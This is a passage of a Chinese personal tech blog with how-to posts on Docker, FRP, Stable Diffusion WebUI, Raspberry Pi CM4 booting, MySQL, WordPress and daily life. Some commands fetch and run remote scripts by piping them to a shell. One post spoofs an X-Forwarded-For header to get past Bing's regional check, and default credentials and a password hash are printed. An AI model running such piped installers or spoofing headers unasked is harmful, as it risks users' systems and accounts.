如果"data-root"配置项存在,检查其值是否等于$DOCKER_IMAGES_DIR if grep -q "\"data-root\": \"$DOCKER_IMAGES_DIR\"" /etc/docker/daemon.json; then # 如果值相等,什么都不做 : else # 如果值不等,则更新"data-root"的值 sudo sed -i 's#"data-root": ".*"#"data-root": "'"$DOCKER_IMAGES_DIR"'"#' /etc/docker/daemon.json sudo systemctl restart docker fi else # 如果"data-root"配置项不存在,则添加它 echo '{ "data-root": "'"$DOCKER_IMAGES_DIR"'" }' | sudo tee -a /etc/docker/daemon.json > /dev/null sudo systemctl restart docker fi fi 5、配置cron定时任务 0 20 * * * /path/to/script.sh ### Google AdSense 终于达到10美元了,可以填电汇了。 个人博客已经有三年了,开通Google AdSense快2年,终于满10美元。可以填电汇了。🤣。 谷歌收入连阿里云服务器的不够,倒是有可能实现了每天可乐自由。 谷歌能覆盖阿里云支出就好了。 ### 如何申请ChatGpt 4 API key 1、登录ChatGpt 4 API key网站 登录https://openai.com/waitlist/gpt-4-api, 填写 First name *, Last name *, Company name, Organization ID * 然后可以直接用ChatGpt 3.5 写一份为什么申ChatGpt 4 API key的原因 2、遇到的问题 问题1:如何查看Organization ID和Company name 问题2:点击account settings,登录后报Oops!错误 3、问题解决方法 解决问题1的方法: 可以在Organization ID *输入框下面有一段英文,点击account settings,可以查看Organization ID和Company name 解决问题2的方法: 更换更好,更稳定的Magic,可以查看上一篇文章:《【教程】如何使用正确的Magic,查看ChatGpt的Organization ID》 ### 如何使用正确查看ChatGpt的Organization ID 1、遇到的问题 使用了不合适Magic的查看Organization ID,报Oops!而且还影响国内网站的访问,尤其看抖音还特别卡。访问https://chat.openai.com/chat 有时候还可能打不开,经常掉线。 2、解决方法 可以换一个好一点,又便宜的Magic,下面就是推荐的一个Magic,便宜又好用Magic(三个月45元) 狮子云 有专门的ChatGpt专线,打开https://platform.openai.com/account/org-settings,不会出现Oops问题,速度也快,还可以在安卓,苹果手机上使用。下面就是怎么使用Magic步骤教程 3、Magic安装 3.1、苹果手机安装Magic 需要1个美区的苹果账户 3.2、Windows 安装 3.3、安卓客户端下载 3.4、MAC客户端下载 3.5、可以登录狮子云官网下载各个版本的考核的 4、结果 ### Ubuntu 怎么安装FRPC FRP(Fast Reverse Proxy)是一个高性能的反向代理服务器,它可以将内网服务映射到公网,并提供简单的认证和加密功能。在本文中,我们将介绍如何在 Ubuntu 操作系统上安装和配置 FRP。 步骤 1:下载 FRP 软件包 要在 Ubuntu 上安装 FRP,您需要首先下载适用于 Ubuntu 的 FRP 软件包。可以使用以下命令在终端中下载 FRP 的 v0.37.1 版本: wget https://github.com/fatedier/frp/releases/download/v0.37.1/frp_0.37.1_linux_amd64.tar.gz 请注意,如果您需要下载其他版本的 FRP,请访问 FRP 的官方网站以获取最新的软件包下载链接。 步骤 2:解压 FRP 软件包 下载完成后,您需要使用以下命令解压 FRP 软件包: tar -zxvf frp_0.37.1_linux_amd64.tar.gz 请根据您下载的 FRP 版本替换命令中的文件名。 步骤 3:配置 FRP 客户端或服务端 解压 FRP 软件包后,您需要根据需求编辑 frpc.ini 或 frps.ini 文件。例如,如果您需要将本地 80 端口映射到公网,您可以使用以下示例配置 frpc.ini 文件: [common] server_addr = your_server_ip server_port = 7000 [web] type = http local_ip = 127.0.0.1 local_port = 80 custom_domains = your_domain.com 请将 your_server_ip 替换为您的 FRP 服务器 IP 地址,将 your_domain.com 替换为您的域名。 步骤 4:启动 FRP 客户端或服务端 完成配置后,您可以使用以下命令启动 FRP 客户端或服务端: ./frpc -c frpc.ini 或 ./frps -c frps.ini 根据您的需求,选择相应的命令。 步骤 5:自动启动 FRP 客户端或服务端 如果您希望在系统启动时自动启动 FRP 客户端或服务端,请将上述命令添加到 /etc/rc.local 文件中。例如,如果您需要在系统启动时自动启动 FRP 客户端,请在 /etc/rc.local 文件中添加以下命令: /path/to/frp/frpc -c /path/to/frp/frpc.ini & 请将 /path/to/frp/ 替换为您的 FRP 软件包路径。 结论 通过本文的介绍,您已经了解了如何在 Ubuntu 操作系统上安装和配置 FRP。使用 FRP,您可以轻松地将内网服务映射到公网。 使用 FRP,您可以轻松地将内网服务映射到公网,而无需公网 IP 或者端口转发。FRP 还支持 TCP、UDP 和 HTTP 等多种协议,并提供了可扩展的插件机制,使其更加灵活和易于使用。 请注意,FRP 软件包的配置和使用非常灵活,我们在本文中只是提供了一些基本的示例配置和使用方法。如果您需要更高级的配置和功能,可以访问 FRP 的官方文档或参考其他资源。 总之,通过安装和配置 FRP,您可以方便地将内网服务映射到公网,并且可以提供简单的认证和加密功能,从而提高服务的安全性和可访问性。 ### 【无效】Ubuntu Docker 文件迁移到挂载的硬盘里(一) 如果您的Ubuntu系统(版本:22.0.3)硬盘只有64G,但已经下载了超过30G的Docker文件,那么迁移这些文件到挂载的硬盘中是必要的。这不仅可以释放硬盘空间,而且可以降低系统负载并提高稳定性。此外,这还可以保护您的Docker文件,以便在需要更换系统时轻松地导出这些文件 1、挂载的硬盘创建文件夹 mkdir docker_data 2、迁移原先dockers文件到挂载硬盘的目录里 # sudo cp -r /var/lib/docker /mnt/256G/docker_data cd /var/lib/docker mv * /mnt/256G/docker_data 3、修改docker配置文件 vim /lib/systemd/system/docker.service 把--data-root=/mnt/256G/docker_data放到ExecStart配置项最后面 ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --data-root=/mnt/256G/docker_data 4、停止,重启docker sudo systemctl stop docker.socket sudo systemctl daemon-reload sudo systemctl start docker sudo systemctl status docker 如果出现下面错误可以执行sudo systemctl stop docker.socket root@ITX:/home/saiita# sudo systemctl stop docker sudo systemctl start docker sudo systemctl status dockerWarning: The unit file, source configuration file or drop-ins of docker.service changed on disk. Run 'systemctl daemon-reload' to reload units. Warning: Stopping docker.service, but it can still be activated by: docker.socket 最后输入下面命令行刷新dockers sudo systemctl daemon-reload 然后输入df -h可以查看下载的镜像是不是挂载到了外置硬盘里。 一般docker默认的是/var目录下面 root@123:/home/123# df -h |grep overlay2 overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/60d751bb88d8d9634f1b4299ef9300c8524bdb37264794f7221c806d57912a62/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/91fcc93d3fc14a5c111ffaf04f15afa1be02c5860709dd06190ee69a5a4795bb/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/66c7b6e74189053cdb05a89cbfb386858c06f255a80eacd81278f143fdde8622/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/e718d0b3f80695d0df64eb5ae992c25b78d6092c4e20ad1ff5a8e6acc651c25e/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/24d67f8ad4a8499d7969d03aaddce9b7be9d51e7582ff4b37c88d47d32827aa7/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/f96d327f039d9a26f262e1d0bbec7124bd8e8d0ffe4d8bbe23a46fbc9fe52454/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/ef827c72cc4c37ca0179023d26809d667f99b142ed1e6572bea0cf7846baa3b5/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/49869b50c727e9196634028e2ee4324a5bb6e02a0dc4a0f4a379d8d7fc37b2b9/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/f0ddc62a43bdf0aa85968f222d15f161340995576cb49b98de5fdc0c0b9425f1/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/533a12cecb0ceee6cf2aa0b2874a7f4ac62a6e499fe4ff3a0cce53a663a61f37/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/3e3ec7cd06e3691c98aa582b92dd60b9c8a8f84d9e2ee3f9ca1cc5353be2002a/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/b71834352a3c12993fa04956be3c80dcd41d03fc9461c03cee06b22982875e8e/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/395d05884b2ce64b4da9da3b4700834c8095b1b85f6655fa9491837e67e2779d/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/e2289e2ebec2423308a201fb558832daa42c930690b745ccd69144bb1a6ee22d/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/6fe9c2591e981087dd524dc8bfb9417a89b4a6cc8ed41f8439d8ee76a84a1803/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/0369fec76444da5e45926cf7151e23455c7a841ff5c7a0272b715f89dc257c3f/merged overlay 234G 44G 179G 20% /mnt/256G/docker_data/data/overlay2/b76e47e59e1333e32558ea1c677303783b39b0177e9bb403d38ae99e73f97e67/merged 5、然后查看docker启动的服务 docker ps 6、其他 出现过一个问题就是/lib/systemd/system/docker.service里添加的配置项有时候会丢失。只要重新加上配置,然后重启docker就可以解决。 或者写个脚本定时检查配置项,丢失了就加上--data-root=/mnt/256G/docker_data。现在chatgpt可以解决这问题。几分钟的事情。 2023-04-05 使用下面命令行导致添加的配置项丢失,然后又恢复默认了。 又得重新添加容器。 sudo apt-get update sudo apt-get upgrade 可以看这篇文章:《【教程】Ubuntu Docker 文件迁移到挂载的硬盘里(二)》 也可以通过脚本定时检查配置项,不过今天开始这篇文章的方法好像不生效了。 ### Bing AI 通过了,然而插件用不了了 通过了也用不了。之前可以通过插件访问bing.com/new。 现在直接跳转到了cn.bing.com。 ### 自从用了ChatGPT,就可以告别百度广告搜索了 ChatGPT提问 添加每30天删除一次备份的文件,然后重新备份一次 ChatGPT的答案 要实现每30天删除一次备份的文件并重新备份,您可以在备份脚本中添加一个检查文件日期的步骤,并在超过30天时删除旧备份文件并创建新备份。以下是修改后的备份脚本: #!/bin/bash NOW=$(date +"%Y-%m-%d_%H-%M-%S") SOURCE="/path/to/source/folder" DESTINATION="/path/to/destination/folder" FILENAME="backup_$NOW.tar.gz" THIRTY_DAYS_AGO=$(date --date='30 days ago' +"%Y-%m-%d_%H-%M-%S") OLD_FILE="$DESTINATION/backup_$THIRTY_DAYS_AGO.tar.gz" # Check if old backup file exists and delete it if [ -f "$OLD_FILE" ]; then rm "$OLD_FILE" fi # Create new backup file tar -czf "$DESTINATION/$FILENAME" "$SOURCE" 这个脚本将每次运行时检查是否有30天前的备份文件,如果存在,则删除它。然后,它会创建一个新的备份文件,命名为当前日期和时间。要添加这个脚本到cronjob,您可以遵循之前的说明,将它添加到crontab文件中: 0 2 * * * /path/to/backup.sh 这将在每天的上午2点运行备份脚本。在每个备份任务中,如果已经超过30天,则旧备份文件将被删除,并创建一个新的备份文件。 ### 解决make: cc: 没有那个文件或目录问题 1、问题: cc -Wall -Wextra -g -o bin2c bin2c.c make: cc: 没有那个文件或目录 make: *** [Makefile:13:bin2c] 错误 127 2、解决方法 安装build-essential sudo apt-get install build-essential 然后输入make,问题解决 ### Ubuntu 22.04系统中MySQL的安装和配置:全面指南 1、安装MySQL Server 客户端连接SSH sudo apt install mysql-server 2、登录MySQL mysql -u root -p 默认root账户,没有密码 3、修改root账户密码 use mysql; ALTER user 'root'@'localhost' IDENTIFIED BY '密码'; flush privileges 4、MySQL远程连接 5、MySQL配置项修改 修改/etc/mysql/mysql.conf.d/mysqld.cnf,注释掉bind-address = 127.0.0.1 重启MySQL sudo service mysql restart ### 如何在Docker Swarm集群中解散节点 家里有2个树莓派CM4,1个树莓派4B 4G,还有1个ITX服务器。 上面都有dockers,之前是树莓派4B 作为集群(Leader),现在改用为ITX为集群(Leader)。下面就是怎么解散docker swarm 集群。 然后再重新创建集群,把树莓派上的dockers移到到ITX电脑上。 1、登录节点(docker)退出集群 docker swarm leave 2、登录master节点,删除已经退出的dockers 节点 docker node rm 主机名 主机名可以用下面dockers命令行查看,HOSTNAME就是主机名 docker node ls 3、master节点(管理节点),解散master节点 docker swarm leave --force 4、查看docker swarm集群 docker node ls 5、重新建立集群 查看这个文章:Docker Swarm 集群 ### Microsoft Edge 安装 ChatGpt(Bing Ai) 我原本打算使用 ChatGpt 来编写测试设计,但发现 Magic 无法打开网站。如果不使用 Magic,就无法使用 ChatGpt。 只能试试在 Bing 上申请聊天功能,这需要申请。 接下来是如何在 Microsoft Edge 上申请 ChatGpt 的步骤。 教程大纲 第一步:安装ModHeader插件 第二步:设置ModHeader插件 第三步:加入候补名单 第四步:等待Microsoft邮件 第一步:安装ModHeader插件 点击浏览器右上角的... 然后点击扩展 点击扩展管理 获取Microsoft Edge扩展 搜索ModHeader插件,并点击获取 第二步:设置ModHeader插件 打开ModHeader插件 添加X-Forwarded-For字段,并在第二个输入框输入8.8.8.8 然后点击FILTER添加X-Forwarded-For,并输入.://www.bing.com/. 第三步:加入候补名单 浏览器输入www.bing.com 找到左上角的聊天 点击加入候补名单,等待通过,应该会有邮件通知 第四步:等待Microsoft邮件 就是等待邮件,就能正常使用chatgpt了。 3月11日 3月11日就已经收到了邮件,然后插件用不了了。直接跳转到cn.bing.com。打不开bing.com/new。 Bing AI 通过了,然而插件用不了了 ### 如何在stable-diffusion-webui中启用中文界面 点击扩展,菜单栏最后一个 从网址安装 输入https://github.com/dtlnor/stable-diffusion-webui-localization-zh_CN点击安装 选择Show all pages ### 在Notion中启用中文界面的详细步骤 之前用的开源的为知笔记和Nextcloud规划自己的笔记、工作、生活计划,太分散了,后面就开始学习使用notion。不过notion没有中文,而且不是开源,这个2个非常不好。 下面就是怎么设置Notion为中文 首先就是安装好notion,然后在桌面选择Notion图标,点击右键-打开文件所在的位置(I) 进入\resources\app\renderer文件夹下把notion-zh_CN.js复制进去 然后编辑preload.js文件,把require("./notion-zh_CN")添加到文件最后一行,重启notion,Windows 客户端就是中文了 阿里云网盘:https://alywp.net/5qgyYM notion怎么设置成中文版汉化教程「仅需一步,即可搞定」 ### Docker Swarm集群的完整指南 1、安装dockers curl -fsSL https://get.docker.com | sh 2、Docker管理节点,初始化master docker swarm init --advertise-addr 192.168.31.198 3、其他docker节点加入Docker Swarm 输入docker swarm join-token worker 查看加入节点的dockers命令行 docker swarm join-token worker To add a worker to this swarm, run the following command: docker swarm join -token SWMTKN-1-3pu6hszjas19xyp7ghgosyx9k8atbfcr8p2is99znpy26u2lkl-1awxwuwd3z9j1z3puu7rcgdbx 172.17.0.2:2377 docker swarm join-token manager To add a manager to this swarm, run the following command: docker swarm join \ --token SWMTKN-1-3pu6hszjas19xyp7ghgosyx9k8atbfcr8p2is99znpy26u2lkl-7p73s1dx5in4tatdymyhg9hu2 \ 172.17.0.2:2377 docker swarm join --token 就是上面截图划红线部分 192.168.31.63:2377 4、安装 Portainer 监控集群状态 docker run -d --name portainer -p 9000:9000 --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v /home/portainer/data:/data 6053537/portainer-ce 5、其他 管理swarm节点 docker node 查看集群中的节点(主机名查看,HOSTNAME) docker node ls 将manager角色降级为worker docker node demote 主机名 将worker角色升级为manager docker node promote 主机名 查看节点的详细信息,默认json格式 docker node inspect 主机名 查看节点信息平铺格式 docker node inspect --pretty 主机名 查看运行的一个或多个及节点任务数,默认当前节点 docker node ps 从swarm中删除一个节点 docker node rm 主机名 更新一个节点 docker node update 对节点设置状态(“active”正常|“pause”暂停|“drain”排除自身work任务) docker node update --availability ### stable-diffusion-webui git下来先得设置webui-user.bat webui-user.bat设置教程 原因是避免后面出现的问题。 就是你手动配置python的安装目录,可以使用py -0p进行查看 set PYTHON=C:\Users\Cheng\AppData\Local\Programs\Python\Python310\python.exe 这个怎么看python路径可以在CMD输入py -0p查看路径 py -0p 然后添加git pull @echo off set PYTHON=C:\Users\Cheng\AppData\Local\Programs\Python\Python310\python.exe set GIT= set VENV_DIR= set COMMANDLINE_ARGS= git pull call webui.bat ### stable-diffusion-webui 训练图片 大概百度了解了下,分4个步骤 第一步创建 Embedding 第二步收集一些图片 第三步图像预处理 第四步训练 先记录下,点了预处理,要下载model-resnet_custom_v3.pt,不知道是什么。 可以复制https://github.com/AUTOMATIC1111/TorchDeepDanbooru/releases/download/v1/model-resnet_custom_v3.pt链接到迅雷下载,然后放到E:\stable-diffusion-webui\models\torch_deepdanbooru目录下面。 可以预训练了 源目录(就是放一些你需要生成图片的风格):C:\Users\Cheng\Downloads\三清山 目标目录(预训练输出的图片,大小512*512):C:\Users\Cheng\Downloads\out 数据集目录:C:\Users\Cheng\Downloads\out 最后点击训练 Embedding。还有个训练超网络。不知道这2个是啥? ### stable-diffusion-webui生成漂亮小姐姐 提取词:, best quality, ultra high res, (photorealistic:1.4), 1girl, beige sweater, smile, laughing, bare shoulders, solo focus, ((full body), (platinum pink hair:1), ((puffy eyes)), looking at viewer, facing front, closeup 反提取词:paintings, sketches, (worst quality:2), (low quality:2), (normal quality:2), lowres, normal quality, ((monochrome)), ((grayscale)), skin spots, acnes, skin blemishes, age spot, glans Sampler:DPM++ SDE Karras CFG scale:8 Steps:28 Seed:1735215259 ### Linux 安装部署 stable-diffusion-webui 没Linux系统的电脑,都是树莓派性能太低了,就不写怎么安装了,要不就是等树莓派CM4降价了,再买3个8G,和已有的树莓派CM4搞个集群,嘻嘻。直接复制黏贴github上的步骤。应该跟Windows 差不多 Install the dependencies: # Debian-based: sudo apt install wget git python3 python3-venv # Red Hat-based: sudo dnf install wget git python3 # Arch-based: sudo pacman -S wget git python3 To install in /home/$(whoami)/stable-diffusion-webui/, run: bash <(wget -qO- https://raw.githubusercontent.com/AUTOMATIC1111/stable-diffusion-webui/master/webui.sh) Run webui.sh. ### Windows 10 部署安装stable-diffusion-webui 安装大纲 安装python,然后添加Path 安装git 通过git克隆stable-diffusion-webui 点击运行webui-user.bat 注意事项 1、修改webui-user.bat(解决运行的时候老是提示升级python版本和一些未知问题) 2、安装过程中遇到的问题解决方法 安装步骤 1、安装python 登录python官网:https://www.python.org/downloads/windows/ 根据电脑是32位,还是64位的。 我的电脑是64位的就下载Windows installer (64-bit) 32位电脑就下载Windows installer (32-bit) 忘记截图了,打开python-3.10.10-amd64.exe,选择Add Python 3.10 to PATH,就省的自己去配置环境变量,然后Install Now 2、安装git 打开git官网:https://git-scm.com/download/win 选择64位:64-bit Git for Windows Setup. 下载完,打开就一直默认下一步 3、用git下载stable-diffusion-webui repository 选择一个硬盘,点击右键,点击Git Bash Here 输入git clone git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git 4、stable-diffusion-webui 打开文件夹,找到webui-user.bat,并双击webui-user.bat,打开stable-diffusion-webui 浏览器输入http://127.0.0.1:7860,就可以使用stable-diffusion-webui了 5、设置中文 stable-diffusion-webui 设置中文 6、更新版本 git pull ### 解决打开stable-diffusion-webui报Couldn't install gfpgan. 跟python环境配置有关,stable-diffusion-webui默认的是stable-diffusion-webui里的python,得设置到系统的python webui-user.bat点击右键编辑 修改set PYTHON=和添加git pull @echo off set PYTHON=C:\Users\Cheng\AppData\Local\Programs\Python\Python310\python.exe set GIT= set VENV_DIR= set COMMANDLINE_ARGS= git pull call webui.bat 然后重新点击webui-user.bat ### 解决打开stable-diffusion-webui报C:\Users\Cheng\AppData\Local\Temp\pip-unpack-ocn4569v\torch-1.13.1+cu117-cp310-cp310-win_amd64.whl is invali问题 先得设置webui-user.bat,因为先设置stable-diffusion-webui的PHP环境变量 Creating venv in directory E:\stable-diffusion-webui\venv using python "C:\Users\Cheng\AppData\Local\Programs\Python\Python310\python.exe" venv "E:\stable-diffusion-webui\venv\Scripts\Python.exe" Python 3.10.10 (tags/v3.10.10:aad5f6a, Feb 7 2023, 17:20:36) [MSC v.1929 64 bit (AMD64)] Commit hash: 0cc0ee1bcb4c24a8c9715f66cede06601bfc00c8 Installing torch and torchvision Looking in indexes: https://pypi.org/simple, https://download.pytorch.org/whl/cu117 Collecting torch==1.13.1+cu117 Downloading https://download.pytorch.org/whl/cu117/torch-1.13.1%2Bcu117-cp310-cp310-win_amd64.whl (2255.4 MB) --------------------------------- ------ 1.9/2.3 GB 222.3 kB/s eta 0:26:45 ERROR: Wheel 'torch' located at C:\Users\Cheng\AppData\Local\Temp\pip-unpack-ocn4569v\torch-1.13.1+cu117-cp310-cp310-win_amd64.whl is invalid. [notice] A new release of pip available: 22.3.1 -> 23.0.1 [notice] To update, run: E:\stable-diffusion-webui\venv\Scripts\python.exe -m pip install --upgrade pip Traceback (most recent call last): File "E:\stable-diffusion-webui\launch.py", line 360, in prepare_environment() File "E:\stable-diffusion-webui\launch.py", line 269, in prepare_environment run(f'"{python}" -m {torch_command}', "Installing torch and torchvision", "Couldn't install torch", live=True) File "E:\stable-diffusion-webui\launch.py", line 89, in run raise RuntimeError(f"""{errdesc or 'Error running command'}. RuntimeError: Couldn't install torch. Command: "E:\stable-diffusion-webui\venv\Scripts\python.exe" -m pip install torch==1.13.1+cu117 torchvision==0.14.1+cu117 --extra-index-url https://download.pytorch.org/whl/cu117 Error code: 1 请按任意键继续. 到pytorch官网,下载torch-1.13.1+cu117-cp310-cp310-win_amd64.whl 然后进入下载的目录,运行pip安装命令行,进行安装 pip install torch-1.13.1+cu117-cp310-cp310-win_amd64.whl 最后重新点击webui-user.bat,就可以正常运行了 ### 树莓派SD卡或硬盘性能测试 安装hdparm sudo apt-get install hdparm -y 测试读取 sudo hdparm -t /dev/nvme0n1 测试写入速度 sudo dd if=/dev/zero of=./test.bin bs=1024 count=216614 ### 解决树莓派CM4(Compute Module 4) 硬盘启动出现USB xHC init failed问题 用的是树莓派CM400200(Compute Module 4)的核心板和super6c 集群扩展版,买了M2硬盘,发现硬盘启动系统失败(USB xHC init failed),原因是树莓派要更新固件,更新好了就能正常启动,是什么USB MSD boot东西,树莓派4B没这个问题。 下面就是怎么更新固件的操作。 2022-02-26 应该不是什么更新固件,而是usb文件放到boot硬盘,就可以从USB上启动 一、准备工作: 一台Linux操作系统的电脑,安装usbboot(rpiboot) 准备一个短路帽,间距是2.54MM的 一根数据线,连接super6c和其他Linux的数据线,数据线是microUSB 一个树莓派CM4核心板(CM4002000)和super6c 主板 二、在Linux系统安装usbboot 就是rpiboot,Windows系统的电脑只能连接,不能输入命令行,应该是只能用Linux系统。 安装usbboot sudo apt install git libusb-1.0-0-dev pkg-config git clone --depth=1 https://github.com/raspberrypi/usbboot cd usbboot make 执行sudo ./rpiboot sudo ./rpiboot 三、短路帽安装到nRPIboot,并连接到Linux 短接下面图红框内红线的那个接口(nRPIboot) 用microUSB数据线连接另外一台树莓派(Linux) 连接上后树莓派等rpiboot连接成功 四、树莓派断电 直接拔掉电源,或者是按住开机键进行关机 五、在Linux输入./rpiboot -d recovery ./rpiboot -d recovery 六、CM4(Compute Module 4)上电 super6c通电,等rpiboot显示成功。忘记截图了 root@ITX:/home/usbboot# sudo ./rpiboot RPIBOOT: build-date Mar 17 2023 version 20221215~105525 864863bc Waiting for BCM2835/6/7/2711... Loading embedded: bootcode4.bin Sending bootcode.bin Successful read 4 bytes Waiting for BCM2835/6/7/2711... Loading embedded: bootcode4.bin Second stage boot server Cannot open file config.txt Cannot open file pieeprom.sig Loading embedded: start4.elf File read: start4.elf Cannot open file fixup4.dat Second stage boot server done 七、CM4(Compute Module 4)断电 super6c断电,把M2硬盘和TF卡安装上 八、CM4(Compute Module 4)上电 这样开机就不会出现USB xHC init failed,并且树莓派系统能正常开机。 九、设置USB设备启动系统 1.树莓派设置,输入下面命令行 sudo raspi-config 2.点击OK 3.选择6 Advanced Options 4.选择A6 Boot Order 5.选择B2 USB Boot Boot from USB if available,otherwise boot from SD Card 6.点击OK 7.点击finish 8.重启树莓派 十、拷贝tf卡系统到M2硬盘上 首先安装显示拷贝进度条的软件,chatGPT问出来的,ChatGPT牛逼 1.安装 pv 工具。您可以使用以下命令在树莓派上安装: sudo apt-get install pv 2.运行以下命令,以在 dd 命令中使用 pv 工具(拷贝系统到M2硬盘): sudo dd if=/dev/mmcblk0 | pv | sudo dd of=/dev/sda bs=4M conv=fsync 说明: /dev/mmcblk0:是TF卡上的系统位置 /dev/sda:M2硬盘的路径 M2硬盘的路径路径可以用fdisk -l 查看 等待拷贝完,100多G,差不多1个多小时,卸下TF卡,M2硬盘就不用卸下。 十一、树莓派CM4通电 就可以从super6C 主板上的M2硬盘启动树莓派系统 ### ChatGPT 完全可以作为自己的助理和老师了 ChatGPT 有点厉害了,输入每月支出和收入,能大概给出一个方案。厉害了。 问题1:那你有什么好的具体方案吗 ChatGPT: 当然,以下是一些可能帮助你管理收入和支出的具体方案: 制定详细的预算计划:列出每月的收入和支出,并将支出分为必须支出和可选支出,以便更好地控制和管理每月的开支。 优化房贷和贷款:如果可能的话,可以考虑重构房贷或贷款,以降低每月的还款额。如果负担过重,可以考虑进行一些贷款重组,例如延长贷款期限等。 优化购车开支:可以考虑减少车位或者购买一辆价格更低廉的车辆,从而节省开支。 找到更优惠的保险:可以与多个保险公司进行比较,找到最适合自己的保险计划,从而降低保险费用。 节省日常生活开支:可以采取措施来减少日常生活开支,例如自己做饭,减少外出就餐,使用公共交通等。 增加额外的收入:可以寻找兼职工作或者进行一些投资理财,以增加额外的收入。 希望这些方案可以帮助你更好地管理收入和支出,实现财务平衡。 问题2:我的社交范围很窄,怎么能提高自己的收入呢? ChatGPT: 如果你的社交范围比较窄,可以考虑以下一些方法来提高收入: 通过教育培训提升技能:你可以通过学习相关的教育培训来提升自己的技能和知识水平,从而增加在工作岗位上的竞争力和薪资待遇。 在互联网上寻找工作机会:在网上有很多招聘平台和社交媒体,你可以利用这些资源寻找自己感兴趣的职位,从而增加自己的职业机会和收入。 创业或者自由职业:如果你有一定的创业或者自由职业的兴趣和能力,可以考虑成为一个创业者或者自由职业者,从而实现自己的理想和增加收入。 利用网络开展业务:利用互联网,你可以开展很多类型的业务,例如自媒体、电子商务、代理等,从而增加收入。 参加志愿者活动:通过参加志愿者活动,你可以结识更多的人,增加自己的社交圈子,并且在志愿者活动中展示自己的才能和能力,从而获得更多的机会和奖励。 综上所述,通过教育培训提升技能、在互联网上寻找工作机会、创业或者自由职业、利用网络开展业务、参加志愿者活动等方式,都可以帮助你扩大自己的社交圈子和提高收入水平。 ### Windows 11系统怎么打开程序自启动目录 第一个是直接在资源管理器打开C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup。 不过是直接打不开,提示找不到目录。之前的文章不知道为啥\会消失,导致文件路径找不到了。 打不开的话还有第二个方法,是从任务管理器哪里打开文件位置 打开任务管理器的启动应用,找到之前的UbuntuServer.exe。然后打开文件位置。 ### Raspberry Pi Imager 工具写入系统设置登录账户和WiFi账户 原因是之前用这个软件写入系统的时候发现没用默认账户,然后百度有一篇文章是在TF卡或者emmc里写入一个userconf.txt文件,文件里写入一个加密后的密钥。登录不了,老是拒绝,不知道是不是因为我暴力拔取搞坏电子元件的原因,还是我百度找的有问题。 导致emmc又不能重新写入系统,又不能登录写好的系统。 userconf.txt里的内容(这个能正常登录): pi:$6$/4.VdYgDm7RJ0qM1$FwXCeQgDKkqrOU3RIRuDSKpauAbBvP11msq9X58c8Que2l1Dwq3vdJMgiZlQSbEXGaY5esVHGBNbCxKLVNqZW1 默认账户就是:PI 密码:raspberry 后面发现Raspberry Pi Imager工具可以设置默认账户,WiFi账户,语言,时区等信息。 这个记录下,省的又百度遇到坑。下面就是怎么设置的教程 1)打开Raspberry Pi Imager工具 2)选择要写入的系统,点击设置 只能选择系统,设置按键才显示 3)设置主机名 4)开启SSH和账户 5)树莓派系统的默认账户和配置WiFi 6)设置语言 7)永久设置 设置为永久保存保存,后面就不用设置了。 ### 如何把系统写入到树莓派CM4的EMMC 首先得准备一些软件和工具 软件 rpiboot:连接emmc用得软件 Raspberry Pi Imager 树莓派官方烧录软件 树莓派系统文件 工具 一根数据线连接电脑用 树莓派CM4,带有emmc 树莓派扩展版 一个可以短接的帽子,不知道叫啥 操作: 用短接帽子短接扩展包上的nRPIBOOT,一般主板都会有显示。然后用数据线连接电脑。 电脑有显示USB连接后。 打开rpiboot软件,有反应,就可以用Raspberry Pi Imager在线把系统写入emmc。 烧入好后,就可以树莓派emmc直接开机,等待系统启动 ### 今天搞坏一个树莓派CM4核心板 树莓派CM4核心板移到槽位,从槽位1移到到离风扇近的地方。 然后暴力取下来把一个不知道是不是电容的一个原件搞坏了。真是悲剧。 现在树莓派价格真的贵,之前树莓派4B 4G 才300左右,现在要800多。 ### wordpress自带设置,搜索引擎应忽略此链接,防止搜索引擎收录 2023-2-12 不是wordpress自带的,而是seo插件Yoast SEO带的功能 2023-2-07 原来自带就有的功能。之前还百度后,用加rel="nofollow"属性,改了好几篇文章,白改了。😂。 效果 ### 杭州元宵节烟花:一场绚烂多彩的盛宴 自从疫情开始差不多3年没看烟花了。元宵节就去了奥体。 路上陆陆续续有人往奥体积聚。我是骑电瓶车过去的,还好是明智选择,不然看车过去找停车场,烟花就错过了。 到了奥体,人真的多,到处都是人。 刚开始放烟花的时候还挺震撼,不过烟花的类型比较单一,也没那么好。 杭州元宵节烟花 ### 解决Wordpress更新插件报错问题(class-wp-textdomain-registry.php on line 103) 今天刚更新插件报错了,打开首页就上面的报错页面 解决方法是找到class-wp-textdomain-registry.php,找到103行,把false改成true。然后重新部署wordpress public function set( $domain, $locale, $path ) { $this->all[ $domain ][ $locale ] = $path ? trailingslashit( $path ) : false; $this->current[ $domain ] = $this->all[ $domain ][ $locale ]; } 到wordpress后台-仪表盘-更新,点击重新安装6.1.1-zh_CN版本,问题就解决了 ### Jeep 自由侠 1.4T 手动更换发动机空气滤芯 买的是曼牌(MANNFILTER)空气滤。 这是第二次手动换空气滤芯,之前写的文章图片挂了。重新写一篇关于手动更换空气滤芯,增加分辨空气滤芯方向的方法。 一、分辨空气滤芯方向 上面这一面是放到进风口。风进来第一个接触的这个面。然后另外一面是有红色橡胶圈的。这个用了一年,白色的都成黑色了。 